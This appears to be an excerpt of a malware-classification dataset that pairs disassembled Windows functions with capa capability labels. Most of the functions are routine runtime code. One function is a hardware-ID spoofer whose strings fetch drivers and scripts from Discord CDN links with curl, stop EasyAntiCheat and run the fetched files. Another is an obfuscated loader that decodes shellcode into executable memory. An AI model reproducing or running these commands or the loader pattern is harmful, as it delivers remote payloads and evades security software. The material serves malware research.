joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005fb9f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.10068ed0
mov eax, dword [0x10086040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.1005c182
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x1005fbe1
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x1005fd3d
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.10068d60
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x10088ae8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.10060d75
mov ecx, dword [esi*4 + 0x10088ae8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x1005fd36
cmp eax, dword [ecx + edi + 0x24]
jne 0x1005fd36
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1005fd36
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10060d75
add esp, 0x14
test edx, edx
jl 0x1005fd36
jg 0x1005fcac
test eax, eax
jb 0x1005fd36
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x1005fd36
jl 0x1005fcc6
cmp dword [ebp - 0x1008], eax
ja 0x1005fd36
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x1005fce4
test ebx, ebx
je 0x1005fd1d
cmp ecx, edi
jae 0x1005fd1d
mov al, byte [ecx]
cmp al, 0xd
jne 0x1005fcfe
lea eax, [edi - 1]
cmp ecx, eax
jae 0x1005fd0a
cmp byte [ecx + 1], 0xa
jne 0x1005fd0a
inc ecx
jmp 0x1005fd0a
movzx eax, al
movsx eax, byte [eax + 0x100868f0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x1005fce4
cmp edx, ebx
jne 0x1005fce4
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x1005fd3b
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10045df2
leave
ret
Function at 0x1006020d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x10088ae8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1006024d
cmp byte [ebx], 0xa
jne 0x1006024d
or byte [edi + eax + 0x28], 4
jmp 0x10060252
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x10060351
mov dl, byte [eax]
cmp dl, 0x1a
je 0x10060334
inc eax
cmp dl, 0xd
je 0x1006027e
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x100602a4
cmp eax, ecx
jae 0x100602b2
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x10060266
jmp 0x10060351
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1006032f
cmp dword [ebp - 0x10], 0
je 0x1006032f
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x10088ae8]
test byte [eax + edi + 0x28], 0x48
je 0x10060309
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x100602f4
mov byte [esi], dl
jmp 0x10060305
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x10088ae8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x10060351
cmp byte [ebp - 1], 0xa
jne 0x10060318
cmp esi, ebx
jne 0x10060318
mov byte [esi], 0xa
jmp 0x10060350
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10060d93
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x10060351
mov byte [esi], 0xd
jmp 0x10060350
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x10088ae8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1006034e
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10060351
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1006035a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x10088ae8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100603a0
cmp word [ebx], dx
jne 0x100603a0
or byte [eax + edi + 0x28], 4
jmp 0x100603a5
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x10060508
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x100604e8
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x100603e6
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1006041c
cmp eax, edx
jae 0x1006042a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x100603c1
jmp 0x10060508
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100604e3
cmp dword [ebp - 0x18], 0
je 0x100604e3
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x10088ae8]
test byte [eax + edi + 0x28], 0x48
je 0x100604b9
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x1006047d
mov word [esi], cx
jmp 0x100604b4
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x10088ae8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x10088ae8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x10088ae8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x10060508
pop eax
cmp word [ebp - 4], ax
jne 0x100604c9
cmp esi, ebx
jne 0x100604c9
mov word [esi], ax
jmp 0x10060505
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.10060d93
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x10060508
push 0xd
pop eax
jmp 0x100604c4
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x10088ae8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x10060502
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x10060508
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10063da6
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.10058afc
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10063e15
cmp esi, dword [ebp - 4]
je 0x10063e10
cmp dword [ebp + 0xc], 0
je 0x10063e10
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10063ded
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.100638f8
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x10063e17
xor eax, eax
inc eax
jmp 0x10063e17
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10063e7c
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10086040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.10058afc
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10058afc
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10063ef3
cmp word [ecx], dx
je 0x10063ef3
mov eax, dword [0x10076124]
push edi
dec eax
push eax
push 0x10076010
call fcn.10063e1b
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x10063f66
cmp word [eax], dx
je 0x10063f66
mov eax, dword [edi]
test eax, eax
je 0x10063f17
cmp word [eax], dx
je 0x10063f17
lea eax, [ebp - 0x10]
push eax
call fcn.100637fe
jmp 0x10063f20
lea eax, [ebp - 0x10]
push eax
call fcn.10063899
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x10063f90
mov eax, dword [0x1007600c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10075d00
call fcn.10063e1b
add esp, 0xc
test al, al
je 0x10063f90
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x10063f5b
cmp word [eax], di
je 0x10063f5b
lea eax, [ebp - 0x10]
push eax
call fcn.100637fe
pop ecx
jmp 0x10063f92
lea eax, [ebp - 0x10]
push eax
call fcn.10063899
jmp 0x10063f58
mov eax, dword [edi]
test eax, eax
je 0x10063f7d
cmp word [eax], dx
je 0x10063f7d
lea eax, [ebp - 0x10]
push eax
call fcn.100637b3
pop ecx
jmp 0x10063f90
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x1006405b
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10063ca0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1006405b
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x1006405b
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x1006405b
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10063fe8
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.1005ad1b
test ebx, ebx
je 0x10064056
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.1005ad1b
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1006405b
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1006405b
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1005cf00
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1006405d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10045df2
leave
ret
Function at 0x10068ce0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10068d0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10068d0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401040
Capabilities:
Delete file
Execute command
Set console window title
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push ebx
push str.Eternals_free_perm_spoofer
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push str.___Welcome_to_eternals_free_perm_enjoy___n_n
call fcn.00401010
add esp, 4
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._1__Perm_Spoof_Device_n_2__Exit_n
call fcn.00401010
push str.Please_Choose_your_Choice_:
call fcn.00401010
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 8]
add esp, 8
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
mov eax, dword [ebp - 8]
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
sub eax, 1
je 0x4010c5
sub eax, 1
je 0x401185
mov ecx, dword [ebp - 4]
xor eax, eax
pop ebx
xor ecx, ebp
pop esi
call fcn.00401198
mov esp, ebp
pop ebp
ret
push 0x4021b0
call ebx
push str.curl_https:__cdn.discordapp.com_attachments_1133729053120151623_1233854053767712914_amifldrv64.sys__o_C:Windows_amifldrv64.sys___silent
call ebx
push str.curl_https:__cdn.discordapp.com_attachments_1133729053120151623_1233853981449650297_AMIDEWINx64.EXE__o_C:WindowsAMIDEWINx64.EXE___silent
call ebx
push str.curl_https:__cdn.discordapp.com_attachments_1133729053120151623_1233855729820237904_spoofer.sys__o_C:Windows_spoof.bat___silent
call ebx
push str.curl_https:__cdn.discordapp.com_attachments_1066385084338426000_1066433398459076658_launcher.bat__o_C:Windowslauncher.bat___silent
call ebx
push str._n_n_____Click_Any_Key_To_Perm_Spoof_
call fcn.00401010
push str.pause__nul
call ebx
add esp, 0x1c
push 0x12c
push 0x12c
call dword [sym.imp.KERNEL32.dll_Beep]
push str._n_n_____Cleaning_Hardware...
call fcn.00401010
push str.sc_stop_EasyAntiCheat__nul
call ebx
push str.sc_stop_EasyAntiCheat.sys__nul
call ebx
push str._n_n_____Spoofing_Pc_Identifiers...
call fcn.00401010
push str.C:Windowslauncher.bat__nul
call ebx
push str.wmic_computersystem_where_name_computername__call_rename_random_
call ebx
push str.C:Windows_spoof.bat
call ebx
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
push str.C:Windows_amifldrv64.sys
call esi
push str.C:WindowsAMIDEWINx64.EXE
call esi
push str.C:Windows_spoof.bat
call esi
add esp, 0x28
push 0x1f4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Beep]
push str._n_n_n_____Done_Perm_Spoofing____n_n
call fcn.00401010
push str.wmic_baseboard_get_serialnumber
call ebx
add esp, 8
push 0x4021b0
call ebx
add esp, 4
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x1005f33d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1005f34c
pop dword [ebp - 0x48]
mov eax, 0x43b39d12
sub eax, 0x33ada9c6
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x13f758b5
add dword [ebp - 0x58], 0x3a5aec96
mov dword [ebp - 0x54], 0x95dbabb9
sub dword [ebp - 0x54], 0x63a85f74
mov dword [ebp - 0x50], 0x1bfc33d2
sub dword [ebp - 0x50], 0xcfafefa4
mov dword [ebp - 0x4c], 0xc3c428d4
sub dword [ebp - 0x4c], 0xc3c428d4
lea eax, [ebp - 0x58]
push eax
mov eax, 0xcd2ffbcf
sub eax, 0xbd278b9b
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x3bb7c19f
sub dword [ebp - 0x58], 0xc7455849
mov dword [ebp - 0x54], 0xa1f9fc80
sub dword [ebp - 0x54], 0x608d9b0b
mov dword [ebp - 0x50], 0xed9c0561
sub dword [ebp - 0x50], 0x8a2c98f5
mov dword [ebp - 0x4c], 0x3ecfe405
add dword [ebp - 0x4c], 0xc1301bfb
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x6c2df899
add eax, 0xa3da778b
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x40d6b
push 0
call eax
mov ecx, 0x52e9
xor ebx, ebx
add ebx, eax
mov edi, 0x100b9000
add edi, dword [ebp - 0x48]
mov edx, 0x22192d6e
sub edx, 0x20f8f290
xor dword [ebp - 0x30], edi
mov esi, dword [edi]
add dword [ebp - 0xc], edx
add esi, edx
mov dword [ebp - 0x44], 0xb86efdd4
mov dword [ebx], esi
add ebx, 0xb554eba4
add ebx, 0x4aab1460
add edi, 0x2b932265
sub edi, 0x2b932261
loop 0x1005f464
add eax, 0xbfb4633d
add eax, 0x404cdb3a
mov ebx, eax
add eax, 5
mov ecx, 0x12c762c9
add ecx, 0xfd389d37
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x401ab5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x425090]
jne 0x401abf
repz ret
jmp fcn.00402688

Function at 0x409e36
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405a05
and dword [ebp - 4], 0
cmp dword [0x427df4], 0
mov ebx, eax
jne 0x409ee7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409f98
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409f98
push eax
call fcn.00405993
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x427df4], eax
call esi
push eax
call fcn.00405993
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x427df8], eax
call esi
push eax
call fcn.00405993
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x427dfc], eax
call esi
push eax
call fcn.00405993
pop ecx
mov dword [0x427e04], eax
test eax, eax
je 0x409ee7
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405993
pop ecx
mov dword [0x427e00], eax
mov eax, dword [0x427e00]
cmp eax, ebx
je 0x409f3f
cmp dword [0x427e04], ebx
je 0x409f3f
push eax
call fcn.00405a0e
push dword [0x427e04]
mov esi, eax
call fcn.00405a0e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409f3f
test edi, edi
je 0x409f3f
call esi
test eax, eax
je 0x409f36
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409f36
test byte [ebp - 0xc], 1
jne 0x409f3f
or dword [ebp + 0x10], 0x200000
jmp 0x409f78
mov eax, dword [0x427df8]
cmp eax, ebx
je 0x409f78
push eax
call fcn.00405a0e
pop ecx
test eax, eax
je 0x409f78
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409f78
mov eax, dword [0x427dfc]
cmp eax, ebx
je 0x409f78
push eax
call fcn.00405a0e
pop ecx
test eax, eax
je 0x409f78
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x427df4]
call fcn.00405a0e
pop ecx
test eax, eax
je 0x409f98
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409f9a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40bbef
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [0x1f6ec04], 0x930
jne 0x40bc0c
push str.gogegamofiv
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
cmp dword [0x1f6ec04], 0x114e
mov eax, dword [ebp + 8]
mov dword [0x1f6ea48], eax
jne 0x40bc2c
lea eax, [ebp - 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
leave
ret
Function at 0x2c83700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.02c8378f
jae 0x2c8370e
xor ecx, ecx
call fcn.02c8378f
jae 0x2c8373d
xor eax, eax
call fcn.02c8378f
jae 0x2c8374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.02c8378f
adc al, al
jae 0x2c8372f
jne 0x2c83779
stosb byte es:[edi], al
jmp 0x2c83711
call fcn.02c8379b
sub ecx, ebx
jne 0x2c83756
call fcn.02c83799
jmp 0x2c83775
lodsb al, byte [esi]
shr eax, 1
je 0x2c83783
adc ecx, ecx
jmp 0x2c83772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.02c83799
cmp eax, 0x7d00
jae 0x2c83772
cmp ah, 5
jae 0x2c83773
cmp eax, 0x7f
ja 0x2c83774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2c83711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8

Function at 0x2ca3700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.02ca378f
jae 0x2ca370e
xor ecx, ecx
call fcn.02ca378f
jae 0x2ca373d
xor eax, eax
call fcn.02ca378f
jae 0x2ca374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.02ca378f
adc al, al
jae 0x2ca372f
jne 0x2ca3779
stosb byte es:[edi], al
jmp 0x2ca3711
call fcn.02ca379b
sub ecx, ebx
jne 0x2ca3756
call fcn.02ca3799
jmp 0x2ca3775
lodsb al, byte [esi]
shr eax, 1
je 0x2ca3783
adc ecx, ecx
jmp 0x2ca3772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.02ca3799
cmp eax, 0x7d00
jae 0x2ca3772
cmp ah, 5
jae 0x2ca3773
cmp eax, 0x7f
ja 0x2ca3774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2ca3711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x41a2f0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a59eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00497e4a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x41a372
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004953f0
mov eax, dword [eax]
push 0x4cbce4
push eax
call fcn.004873a4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004980d5
test bl, bl
je 0x41a372
push 0x4cbce4
lea ecx, [esp + 0xc]
call fcn.004984b1
push 0x4cbcf0
lea ecx, [esp + 0xc]
call fcn.004984b1
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41a3ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004980d5
jmp 0x41a479
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x41a432
lea edx, [esp + 0x7c]
push 0x4cbcec
push edx
call fcn.004873a4
add esp, 8
test eax, eax
je 0x41a432
lea eax, [esp + 0x7c]
push 0x4cbce8
push eax
call fcn.004873a4
add esp, 8
test eax, eax
je 0x41a432
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41a3c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004980d5
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x41ac70
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x41acd2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc